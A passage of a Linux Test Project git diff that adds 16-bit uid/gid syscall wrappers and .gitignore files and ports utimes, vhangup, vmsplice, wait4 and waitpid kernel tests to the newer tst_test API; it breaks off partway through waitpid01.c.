@@ -0,0 +1,157 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: yang xu <xuyang.jy@cn.fujitsu.com>
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+#ifndef COMPAT_TST_16_H__
+#define COMPAT_TST_16_H__
+
+#include <errno.h>
+#include <grp.h>
+#if defined(__GLIBC__) || defined(__ANDROID__)
+#include <sys/fsuid.h>
+#endif
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "compat_gid.h"
+#include "compat_uid.h"
+#include "lapi/syscalls.h"
+
+int setresuid(uid_t ruid, uid_t euid, uid_t suid);
+int setresgid(gid_t rgid, gid_t egid, gid_t sgid);
+
+
+/* If the platform has __NR_sys_name32 defined it
+ * means that __NR_sys_name is a 16-bit version of
+ * sys_name() syscall
+ */
+#ifdef TST_USE_COMPAT16_SYSCALL
+# define TST_CREATE_SYSCALL(sys_name, ...) ({ \
+	if (__NR_##sys_name##32 != __LTP__NR_INVALID_SYSCALL) { \
+		return tst_syscall(__NR_##sys_name, ##__VA_ARGS__); \
+	} else { \
+		tst_brk(TCONF, \
+			"16-bit version of %s() is not supported on your " \
+			"platform", #sys_name); \
+		return -1; \
+	} \
+})
+#else
+# define TST_CREATE_SYSCALL(sys_name, ...) ({\
+	return sys_name(__VA_ARGS__); \
+})
+#endif
+
+#define UID16_CHECK(uid, sys_name) ({ \
+	if (!UID_SIZE_CHECK(uid)) { \
+		tst_brk(TBROK, \
+			"uid %d of %s is too large for testing 16-bit " \
+			"version of %s()", uid, #uid, #sys_name); \
+	} \
+})
+#define GID16_CHECK(gid, sys_name) ({ \
+	if (!GID_SIZE_CHECK(gid)) { \
+		tst_brk(TBROK, \
+			"gid %d of %s is too large for testing 16-bit " \
+			"version of %s()", gid, #gid, #sys_name); \
+	} \
+})
+
+int SETGROUPS(size_t gidsetsize, GID_T *list)
+{
+	TST_CREATE_SYSCALL(setgroups, gidsetsize, list);
+}
+
+int GETGROUPS(size_t gidsetsize, GID_T *list)
+{
+	TST_CREATE_SYSCALL(getgroups, gidsetsize, list);
+}
+
+int SETUID(UID_T uid)
+{
+	TST_CREATE_SYSCALL(setuid, uid);
+}
+
+UID_T GETUID(void)
+{
+	TST_CREATE_SYSCALL(getuid);
+}
+
+int SETGID(GID_T gid)
+{
+	TST_CREATE_SYSCALL(setgid, gid);
+}
+
+GID_T GETGID(void)
+{
+	TST_CREATE_SYSCALL(getgid);
+}
+
+UID_T GETEUID(void)
+{
+	TST_CREATE_SYSCALL(geteuid);
+}
+
+GID_T GETEGID(void)
+{
+	TST_CREATE_SYSCALL(getegid);
+}
+
+int SETFSUID(UID_T uid)
+{
+	TST_CREATE_SYSCALL(setfsuid, uid);
+}
+
+int SETFSGID(GID_T gid)
+{
+	TST_CREATE_SYSCALL(setfsgid, gid);
+}
+
+int SETREUID(UID_T ruid, UID_T euid)
+{
+	TST_CREATE_SYSCALL(setreuid, ruid, euid);
+}
+int SETREGID(GID_T rgid, GID_T egid)
+{
+	TST_CREATE_SYSCALL(setregid, rgid, egid);
+}
+
+int SETRESUID(UID_T ruid, UID_T euid, UID_T suid)
+{
+	TST_CREATE_SYSCALL(setresuid, ruid, euid, suid);
+}
+
+int SETRESGID(GID_T rgid, GID_T egid, GID_T sgid)
+{
+	TST_CREATE_SYSCALL(setresgid, rgid, egid, sgid);
+}
+
+int FCHOWN(unsigned int fd, UID_T owner, GID_T group)
+{
+	TST_CREATE_SYSCALL(fchown, fd, owner, group);
+}
+
+int LCHOWN(const char *path, UID_T owner, GID_T group)
+{
+	TST_CREATE_SYSCALL(lchown, path, owner, group);
+}
+
+int CHOWN(const char *path, UID_T owner, GID_T group)
+{
+	TST_CREATE_SYSCALL(chown, path, owner, group);
+}
+#endif /* COMPAT_TST_16_H__ */
diff --git a/testcases/kernel/syscalls/utils/mq.h b/testcases/kernel/syscalls/utils/mq.h
index 0bdac97..b55228c 100644
--- a/testcases/kernel/syscalls/utils/mq.h
+++ b/testcases/kernel/syscalls/utils/mq.h
@@ -74,7 +74,7 @@
 
 	memset(&mqstat, 0, sizeof(mqstat));
 	if (mq_getattr(fd, &mqstat) == -1) {
-		tst_brk(TWARN, "mq_getattr() failed");
+		tst_brk(TBROK|TERRNO, "mq_getattr() failed");
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/utime/.gitignore b/testcases/kernel/syscalls/utime/.gitignore
new file mode 100644
index 0000000..94c0ae0
--- /dev/null
+++ b/testcases/kernel/syscalls/utime/.gitignore
@@ -0,0 +1,6 @@
+/utime01
+/utime02
+/utime03
+/utime04
+/utime05
+/utime06
diff --git a/testcases/kernel/syscalls/utimensat/.gitignore b/testcases/kernel/syscalls/utimensat/.gitignore
new file mode 100644
index 0000000..5a23dca
--- /dev/null
+++ b/testcases/kernel/syscalls/utimensat/.gitignore
@@ -0,0 +1 @@
+/utimensat01
diff --git a/testcases/kernel/syscalls/utimes/.gitignore b/testcases/kernel/syscalls/utimes/.gitignore
new file mode 100644
index 0000000..ad0ee21
--- /dev/null
+++ b/testcases/kernel/syscalls/utimes/.gitignore
@@ -0,0 +1 @@
+/utimes01
diff --git a/testcases/kernel/syscalls/utimes/utimes01.c b/testcases/kernel/syscalls/utimes/utimes01.c
index c79bd09..c6ee75c 100644
--- a/testcases/kernel/syscalls/utimes/utimes01.c
+++ b/testcases/kernel/syscalls/utimes/utimes01.c
@@ -36,45 +36,28 @@
  */
 
 #include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/time.h>
-#include <dirent.h>
 #include <unistd.h>
-#include <getopt.h>
-#include <string.h>
-#include <stdlib.h>
-#include <errno.h>
-#include <stdio.h>
 #include <pwd.h>
-#include <sys/mount.h>
-
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 #include "lapi/syscalls.h"
 
-#define MNTPOINT "mntpoint"
+#define MNT_POINT "mntpoint"
 #define TESTFILE1 "testfile1"
 #define TESTFILE2 "testfile2"
-#define TESTFILE3 "mntpoint/testfile"
+#define TESTFILE3 "mntpoint/file"
 #define FILE_MODE (S_IRWXU | S_IRGRP | S_IXGRP | \
 					S_IROTH | S_IXOTH)
 #define DIR_MODE (S_IRWXU | S_IRWXG | S_IRWXO)
 
-#define LTPUSER1 "nobody"
-#define LTPUSER2 "bin"
-
-static const char *device;
-static int mount_flag;
-
 static struct timeval a_tv[2] = { {0, 0}, {1000, 0} };
 static struct timeval m_tv[2] = { {1000, 0}, {0, 0} };
 static struct timeval tv[2] = { {1000, 0}, {2000, 0} };
 
-static struct test_case_t {
+static struct tcase {
 	char *pathname;
 	struct timeval *times;
 	int exp_errno;
-} test_cases[] = {
+} tcases[] = {
 	{ TESTFILE1, a_tv, 0 },
 	{ TESTFILE1, m_tv, 0 },
 	{ TESTFILE2, NULL, EACCES },
@@ -84,83 +67,23 @@
 	{ TESTFILE3, tv, EROFS },
 };
 
-static void setup(void);
-static void cleanup(void);
-static void utimes_verify(const struct test_case_t *);
-
-char *TCID = "utimes01";
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-int main(int ac, char **av)
-{
-	int i, lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); ++lc) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			utimes_verify(&test_cases[i]);
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 static void setup(void)
 {
-	struct passwd *ltpuser;
-	const char *fs_type;
+	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
 
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
-
-	SAFE_TOUCH(cleanup, TESTFILE1, FILE_MODE, NULL);
-	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER1);
-	SAFE_CHOWN(cleanup, TESTFILE1, ltpuser->pw_uid,
-		ltpuser->pw_gid);
-
-	SAFE_TOUCH(cleanup, TESTFILE2, FILE_MODE, NULL);
-	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER2);
-	SAFE_CHOWN(cleanup, TESTFILE2, ltpuser->pw_uid,
-		ltpuser->pw_gid);
-
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
-	mount_flag = 1;
-	SAFE_TOUCH(cleanup, TESTFILE3, FILE_MODE, NULL);
-	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER1);
-	SAFE_CHOWN(cleanup, TESTFILE3, ltpuser->pw_uid,
-		ltpuser->pw_gid);
-	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
-		   NULL);
-
-	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER1);
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	SAFE_TOUCH(TESTFILE2, FILE_MODE, NULL);
+	SAFE_SETEUID(ltpuser->pw_uid);
+	SAFE_TOUCH(TESTFILE1, FILE_MODE, NULL);
 }
 
-static void utimes_verify(const struct test_case_t *tc)
+static void utimes_verify(unsigned int i)
 {
 	struct stat st;
 	struct timeval tmp_tv[2];
+	struct tcase *tc = &tcases[i];
 
 	if (tc->exp_errno == 0) {
-		SAFE_STAT(cleanup, tc->pathname, &st);
+		SAFE_STAT(tc->pathname, &st);
 
 		tmp_tv[0].tv_sec = st.st_atime;
 		tmp_tv[0].tv_usec = 0;
@@ -170,29 +93,23 @@
 
 	TEST(utimes(tc->pathname, tc->times));
 
-	if (TEST_ERRNO == tc->exp_errno) {
-		tst_resm(TPASS | TTERRNO, "utimes() worked as expected");
+	if (TST_ERR == tc->exp_errno) {
+		tst_res(TPASS | TTERRNO, "utimes() worked as expected");
 	} else {
-		tst_resm(TFAIL | TTERRNO,
+		tst_res(TFAIL | TTERRNO,
 			"utimes() failed unexpectedly; expected: %d - %s",
-			tc->exp_errno, strerror(tc->exp_errno));
+			tc->exp_errno, tst_strerrno(tc->exp_errno));
 	}
 
-	if (TEST_ERRNO == 0 && utimes(tc->pathname, tmp_tv) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "utimes() failed.");
+	if (TST_ERR == 0 && utimes(tc->pathname, tmp_tv) == -1)
+		tst_brk(TBROK | TERRNO, "utimes() failed.");
 }
 
-static void cleanup(void)
-{
-	if (seteuid(0) == -1)
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
-
-	if (mount_flag && tst_umount(MNTPOINT) == -1)
-		tst_resm(TWARN | TERRNO, "umount %s failed", MNTPOINT);
-
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test = utimes_verify,
+	.tcnt = ARRAY_SIZE(tcases),
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+};
diff --git a/testcases/kernel/syscalls/vfork/.gitignore b/testcases/kernel/syscalls/vfork/.gitignore
new file mode 100644
index 0000000..ed2b288
--- /dev/null
+++ b/testcases/kernel/syscalls/vfork/.gitignore
@@ -0,0 +1,2 @@
+/vfork01
+/vfork02
diff --git a/testcases/kernel/syscalls/vhangup/.gitignore b/testcases/kernel/syscalls/vhangup/.gitignore
new file mode 100644
index 0000000..0789649
--- /dev/null
+++ b/testcases/kernel/syscalls/vhangup/.gitignore
@@ -0,0 +1,2 @@
+/vhangup01
+/vhangup02
diff --git a/testcases/kernel/syscalls/vhangup/vhangup01.c b/testcases/kernel/syscalls/vhangup/vhangup01.c
index c35dec2..60e7e18 100644
--- a/testcases/kernel/syscalls/vhangup/vhangup01.c
+++ b/testcases/kernel/syscalls/vhangup/vhangup01.c
@@ -1,23 +1,9 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  *	07/2001 John George
  * Copyright (C) 2015 Cyril Hrubis <chrubis@suse.cz>
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-/*
  * Check the return value, and errno of vhangup(2) when a non-root user calls
  * vhangup().
  */
@@ -26,64 +12,44 @@
 #include <pwd.h>
 #include <sys/wait.h>
 
-#include "test.h"
-#include "safe_macros.h"
-
-static void setup(void);
-
-char *TCID = "vhangup01";
-int TST_TOTAL = 1;
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
 static uid_t nobody_uid;
 
-int main(int argc, char **argv)
+static void run(void)
 {
-	int lc;
-
 	pid_t pid;
 	int retval;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL, NULL, "fork failed");
-		} else if (pid > 0) {
-			tst_record_childstatus(NULL, pid);
-		} else {
-			retval = setreuid(nobody_uid, nobody_uid);
-			if (retval < 0) {
-				perror("setreuid");
-				tst_brkm(TFAIL, NULL, "setreuid failed");
-			}
-			TEST(vhangup());
-			if (TEST_RETURN != -1) {
-				tst_brkm(TFAIL, NULL, "vhangup() failed to "
-					 "fail");
-			} else if (TEST_ERRNO == EPERM) {
-				tst_resm(TPASS, "Got EPERM as expected.");
-			} else {
-				tst_resm(TFAIL, "expected EPERM got %d",
-					 TEST_ERRNO);
-			}
-		}
+	pid = SAFE_FORK();
+	if (pid > 0) {
+		waitpid(pid, NULL, 0);
+	} else {
+		retval = setreuid(nobody_uid, nobody_uid);
+		if (retval < 0)
+			tst_brk(TBROK | TTERRNO, "setreuid failed");
+		TEST(tst_syscall(__NR_vhangup));
+		if (TST_RET != -1)
+			tst_brk(TFAIL, "vhangup() failed to fail");
+		else if (TST_ERR == EPERM)
+			tst_res(TPASS, "Got EPERM as expected.");
+		else
+			tst_res(TFAIL, "expected EPERM got %d", TST_ERR);
 	}
-
-	tst_exit();
 }
 
 static void setup(void)
 {
 	struct passwd *pw;
 
-	tst_require_root();
-
-	pw = SAFE_GETPWNAM(NULL, "nobody");
+	pw = SAFE_GETPWNAM("nobody");
 	nobody_uid = pw->pw_uid;
-
-	TEST_PAUSE;
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.needs_root = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/vhangup/vhangup02.c b/testcases/kernel/syscalls/vhangup/vhangup02.c
index b6bca5d..6607850 100644
--- a/testcases/kernel/syscalls/vhangup/vhangup02.c
+++ b/testcases/kernel/syscalls/vhangup/vhangup02.c
@@ -1,43 +1,10 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- *	vhangup02.c
- *
- * DESCRIPTION
- * 	To test the basic functionality of vhangup(2)
- *
- *
- * USAGE:  <for command-line>
- *      vhangup02 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
  * History
  *	07/2001 John George
  *		-Ported
- *
- * Restrictions
- *	None
  */
 
 #include <unistd.h>
@@ -45,75 +12,30 @@
 #include <errno.h>
 #include <pwd.h>
 #include <sys/wait.h>
-#include "test.h"
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-void setup(void);
-void cleanup(void);
-
-char *TCID = "vhangup02";
-int TST_TOTAL = 1;
-
-int fail;
-
-int main(int argc, char **argv)
+static void run(void)
 {
-	int lc;
-
 	pid_t pid, pid1;
-	int status;
 
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		fail = 0;
-
-		if ((pid = FORK_OR_VFORK()) < 0) {
-			tst_brkm(TFAIL, cleanup, "fork failed");
-		} else if (pid > 0) {	/* parent */
-			waitpid(pid, &status, 0);
-			_exit(0);
-		} else {	/* child */
-			pid1 = setsid();
-			if (pid1 < 0) {
-				tst_brkm(TFAIL, cleanup, "setsid failed");
-			}
-			TEST(vhangup());
-			if (TEST_RETURN == -1) {
-				tst_resm(TFAIL, "vhangup() failed, errno:%d",
-					 errno);
-			} else {
-				tst_resm(TPASS, "vhangup() succeeded");
-			}
-		}
+	pid = SAFE_FORK();
+	if (pid > 0) {
+		waitpid(pid, NULL, 0);
+	} else {
+		pid1 = setsid();
+		if (pid1 < 0)
+			tst_brk(TBROK | TTERRNO, "setsid failed");
+		TEST(tst_syscall(__NR_vhangup));
+		if (TST_RET == -1)
+			tst_res(TFAIL | TTERRNO, "vhangup() failed");
+		else
+			tst_res(TPASS, "vhangup() succeeded");
 	}
-	cleanup();
-	tst_exit();
-
 }
 
-/*
- * setup()
- *	performs all ONE TIME setup for this test
- */
-void setup(void)
-{
-	/* Pause if that option was specified
-	 * TEST_PAUSE contains the code to fork the test with the -c option.
-	 */
-	TEST_PAUSE;
-}
-
-/*
- * cleanup()
- *	performs all ONE TIME cleanup for this test at
- *	completion or premature exit
- */
-void cleanup(void)
-{
-
-}
+static struct tst_test test = {
+	.test_all = run,
+	.forks_child = 1,
+	.needs_root = 1,
+};
diff --git a/testcases/kernel/syscalls/vmsplice/.gitignore b/testcases/kernel/syscalls/vmsplice/.gitignore
new file mode 100644
index 0000000..2cc74a9
--- /dev/null
+++ b/testcases/kernel/syscalls/vmsplice/.gitignore
@@ -0,0 +1,2 @@
+/vmsplice01
+/vmsplice02
diff --git a/testcases/kernel/syscalls/vmsplice/vmsplice02.c b/testcases/kernel/syscalls/vmsplice/vmsplice02.c
index a5ebea0..ec9fb82 100644
--- a/testcases/kernel/syscalls/vmsplice/vmsplice02.c
+++ b/testcases/kernel/syscalls/vmsplice/vmsplice02.c
@@ -40,8 +40,6 @@
 #include "lapi/fcntl.h"
 #include "lapi/vmsplice.h"
 
-#include "limits_ltp.h"
-
 #define TESTFILE "testfile"
 
 #define TEST_BLOCK_SIZE 128
@@ -84,14 +82,14 @@
 
 	TEST(vmsplice(*(tc->fd), tc->iov, tc->nr_segs, 0));
 
-	if (TEST_RETURN != -1) {
+	if (TST_RET != -1) {
 		tst_res(TFAIL, "vmsplice() returned %ld, "
-			"expected -1, errno:%d", TEST_RETURN,
+			"expected -1, errno:%d", TST_RET,
 			tc->exp_errno);
 		return;
 	}
 
-	if (TEST_ERRNO != tc->exp_errno) {
+	if (TST_ERR != tc->exp_errno) {
 		tst_res(TFAIL | TTERRNO,
 			"vmsplice() failed unexpectedly; expected: %d - %s",
 			tc->exp_errno, tst_strerrno(tc->exp_errno));
diff --git a/testcases/kernel/syscalls/wait/.gitignore b/testcases/kernel/syscalls/wait/.gitignore
new file mode 100644
index 0000000..62f29aa
--- /dev/null
+++ b/testcases/kernel/syscalls/wait/.gitignore
@@ -0,0 +1,2 @@
+/wait01
+/wait02
diff --git a/testcases/kernel/syscalls/wait4/.gitignore b/testcases/kernel/syscalls/wait4/.gitignore
new file mode 100644
index 0000000..9313eb7
--- /dev/null
+++ b/testcases/kernel/syscalls/wait4/.gitignore
@@ -0,0 +1,2 @@
+/wait401
+/wait402
diff --git a/testcases/kernel/syscalls/wait4/wait401.c b/testcases/kernel/syscalls/wait4/wait401.c
index 26a5c70..77151ea 100644
--- a/testcases/kernel/syscalls/wait4/wait401.c
+++ b/testcases/kernel/syscalls/wait4/wait401.c
@@ -1,106 +1,76 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ * Copyright (c) 2012-2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
- *   Copyright (c) 2012 Cyril Hrubis <chrubis@suse.cz>
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- *	wait401 - check that a call to wait4() correctly waits for a child
- *		  process to exit
+ * wait401 - check that a call to wait4() correctly waits for a child
+ *           process to exit
  */
 
-#include "test.h"
-
+#include <stdlib.h>
 #include <errno.h>
 #define _USE_BSD
 #include <sys/types.h>
 #include <sys/resource.h>
 #include <sys/wait.h>
+#include "tst_test.h"
 
-char *TCID = "wait401";
-int TST_TOTAL = 1;
-
-static void cleanup(void);
-static void setup(void);
-
-int main(int ac, char **av)
+static void run(void)
 {
-	int lc;
 	pid_t pid;
 	int status = 1;
 	struct rusage rusage;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		pid = FORK_OR_VFORK();
-
-		switch (pid) {
-		case -1:
-			tst_brkm(TBROK, cleanup, "fork() failed");
-			break;
-		case 0:
-			sleep(1);
-			exit(0);
-			break;
-		default:
-			TEST(wait4(pid, &status, 0, &rusage));
-			break;
-		}
-
-		if (TEST_RETURN == -1) {
-			tst_brkm(TFAIL, cleanup, "%s call failed - errno = %d "
-				 ": %s", TCID, TEST_ERRNO,
-				 strerror(TEST_ERRNO));
-		}
-
-		if (WIFEXITED(status) == 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "%s call succeeded but "
-				 "WIFEXITED() did not return expected value "
-				 "- %d", TCID, WIFEXITED(status));
-		} else if (TEST_RETURN != pid) {
-			tst_resm(TFAIL, "%s did not return the "
-				 "expected value (%d), actual: %ld",
-				 TCID, pid, TEST_RETURN);
-		} else {
-
-			tst_resm(TPASS,
-				 "Received child pid as expected.");
-		}
-
-		tst_resm(TPASS, "%s call succeeded", TCID);
+	pid = SAFE_FORK();
+	if (!pid) {
+		TST_PROCESS_STATE_WAIT(getppid(), 'S');
+		exit(0);
 	}
 
-	cleanup();
-	tst_exit();
+	TEST(wait4(pid, &status, 0, &rusage));
+	if (TST_RET == -1) {
+		tst_res(TFAIL | TERRNO, "wait4() failed");
+		return;
+	}
+
+	if (TST_RET != pid) {
+		tst_res(TFAIL, "waitpid() returned wrong pid %li, expected %i",
+			TST_RET, pid);
+	} else {
+		tst_res(TPASS, "waitpid() returned correct pid %i", pid);
+	}
+
+	if (!WIFEXITED(status)) {
+		tst_res(TFAIL, "WIFEXITED() not set in status (%s)",
+		        tst_strstatus(status));
+		return;
+	}
+
+	tst_res(TPASS, "WIFEXITED() is set in status");
+
+	if (WEXITSTATUS(status))
+		tst_res(TFAIL, "WEXITSTATUS() != 0 but %i", WEXITSTATUS(status));
+	else
+		tst_res(TPASS, "WEXITSTATUS() == 0");
+
 }
 
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.forks_child = 1,
+	.test_all = run,
+};
diff --git a/testcases/kernel/syscalls/waitid/.gitignore b/testcases/kernel/syscalls/waitid/.gitignore
new file mode 100644
index 0000000..e200a06
--- /dev/null
+++ b/testcases/kernel/syscalls/waitid/.gitignore
@@ -0,0 +1,2 @@
+/waitid01
+/waitid02
diff --git a/testcases/kernel/syscalls/waitpid/.gitignore b/testcases/kernel/syscalls/waitpid/.gitignore
new file mode 100644
index 0000000..cf9ddf6
--- /dev/null
+++ b/testcases/kernel/syscalls/waitpid/.gitignore
@@ -0,0 +1,13 @@
+/waitpid01
+/waitpid02
+/waitpid03
+/waitpid04
+/waitpid05
+/waitpid06
+/waitpid07
+/waitpid08
+/waitpid09
+/waitpid10
+/waitpid11
+/waitpid12
+/waitpid13
diff --git a/testcases/kernel/syscalls/waitpid/waitpid01.c b/testcases/kernel/syscalls/waitpid/waitpid01.c
index e05e783..efbc26e 100644
--- a/testcases/kernel/syscalls/waitpid/waitpid01.c
+++ b/testcases/kernel/syscalls/waitpid/waitpid01.c
@@ -1,142 +1,74 @@
 /*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *    07/2001 John George
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
  *
- *   Copyright (c) International Business Machines  Corp., 2001
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
  *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
 /*
- * NAME
- *	waitpid01.c
+ * Check that when a child kills itself by SIGALRM the waiting parent is
+ * correctly notified.
  *
- * DESCRIPTION
- *	Check that when a child kills itself by generating an alarm
- *	exception, the waiting parent is correctly notified.
- *
- * ALGORITHM
- *	Fork a child that sets an alarm. When the alarm goes off, causing
- *	the death of the child, the parent checks that SIG_ALRM was returned
- *
- * USAGE:  <for command-line>
- *      waitpid01 [-c n] [-i n] [-I x] [-P x] [-t]
- *      where,  -c n : Run n copies concurrently.
- *              -i n : Execute test n times.
- *              -I x : Execute test for x seconds.
- *              -P x : Pause for x seconds between iterations.
- *              -t   : Turn on syscall timing.
- *
- * History
- *	07/2001 John George
- *		-Ported
- *
- * Restrictions
- *	None
+ * Fork a child that raises(SIGALRM), the parent checks that SIGALRM was
+ * returned.
  */
-
-#include <sys/signal.h>
-#include <sys/types.h>
+#include <stdlib.h>
 #include <sys/wait.h>
-#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
 
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "waitpid01";
-int TST_TOTAL = 1;
-
-int main(int argc, char **argv)
+static void run(void)
 {
-	int lc;
+	pid_t pid, rpid;
+	int status;
 
-	int pid, npid, sig, nsig;
-	int exno, nexno, status;
-
-	tst_parse_opts(argc, argv, NULL, NULL);
-
-	setup();
-
-	/* check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		exno = 1;
-		sig = 14;
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0) {
-			tst_brkm(TFAIL, cleanup, "Fork Failed");
-		} else if (pid == 0) {
-			alarm(2);
-			pause();
-			exit(exno);
-		} else {
-			errno = 0;
-			while (((npid = waitpid(pid, &status, 0)) != -1) ||
-			       (errno == EINTR)) {
-				if (errno == EINTR)
-					continue;
-
